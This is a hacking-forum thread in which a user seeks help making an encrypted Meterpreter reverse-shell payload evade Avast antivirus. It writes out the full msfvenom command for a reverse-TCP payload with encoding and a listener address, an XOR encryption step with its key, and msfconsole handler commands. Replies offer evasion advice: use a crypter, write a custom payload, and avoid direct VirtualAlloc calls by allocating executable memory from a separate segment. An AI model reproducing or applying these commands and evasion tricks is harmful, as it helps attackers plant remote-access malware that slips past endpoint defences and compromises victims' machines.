[issoulachancla]

hi guys

my encrypted meterpreter payload cannot bypass "avast shield anti exploit"
avast detect it as meterpreter trojan but only when i start a listener on my kali machine , if no listener , avast is not detecting the payload

any ideas?

imgur.com/a/iqc5m4m

here is my source code: pastebin.com/QU4jaLeN

[C++]

Use a crypter, maybe it will work.

[issoulachancla]

Use a crypter, maybe it will work.

here is my cpp source code :

pastebin.com/QU4jaLeN

perhaps you can help me?

[C++]

Maybe it is the "crypted XOR shellcode", that is triggering avast? can you submit the exectable into antiscan.me?

or send me the full code via PM

[issoulachancla]

Maybe it is the "crypted XOR shellcode", that is triggering avast? can you submit the exectable into antiscan.me?

or send me the full code via PM

xor_encryptor.py: pastebin.com/L16buZVX
main.cpp: pastebin.com/QU4jaLeN

on kali linux:

sudo msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 30 LHOST=192.168.77.157 LPORT=9980 -f raw -o raw.txt
sudo python3 xor_encryptor.py raw.txt > bcd.txt
copy content of bcd.txt to main.cpp, replace {xor shellcode};

key encryption: cRcEMCRDnYcJyJQk

compile main.cpp to .exe
execute on windows

listener on kali:
sudo msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 0.0.0.0
set lport 9980
exploit

avast detect it on my windows VM, but antiscan.me says it's not detected by avast..

[C++]

Can you check what's being detected by Avast? ^Not sure if it's the metasploit or the encryption.

[issoulachancla]

Can you check what's being detected by Avast? ^Not sure if it's the metasploit or the encryption.

i don't know it gives me a headache
i think it detect the connection to the listener
🙁

[C++]

You are using a well known metasploit known by anti virus companies. I suggest you to use a better crypter or make your own payload

[issoulachancla]

You are using a well known metasploit known by anti virus companies. I suggest you to use a better crypter or make your own payload

yeah i think too :)

but it bypass WD easily
only detected by this fckn avast

[Blind2k]

Please tell me that u haven't just right now exposed your IP...

[optionalchoose]

Please tell me that u haven't just right now exposed your IP...

I can easily tell how dumb af you are by the way you talk and how you think that a PRIVATE IP IS THE SAME AS A IPV4

[Tentco]

hi guys

my encrypted meterpreter payload cannot bypass "avast shield anti exploit"
avast detect it as meterpreter trojan but only when i start a listener on my kali machine , if no listener , avast is not detecting the payload

any ideas?

imgur.com/a/iqc5m4m

here is my source code: pastebin.com/QU4jaLeN

Because you're using VirtualAlloc and Avast is directly hooking to it and tracing your shellcode in memory.
A cheap fix would be creating a new segment in your exe and the segment would call VirtualAlloc to create RWX memory and allocate your XOR decrypted shellcode there, don't directly call VirtualAlloc that is one of the major reason for detection.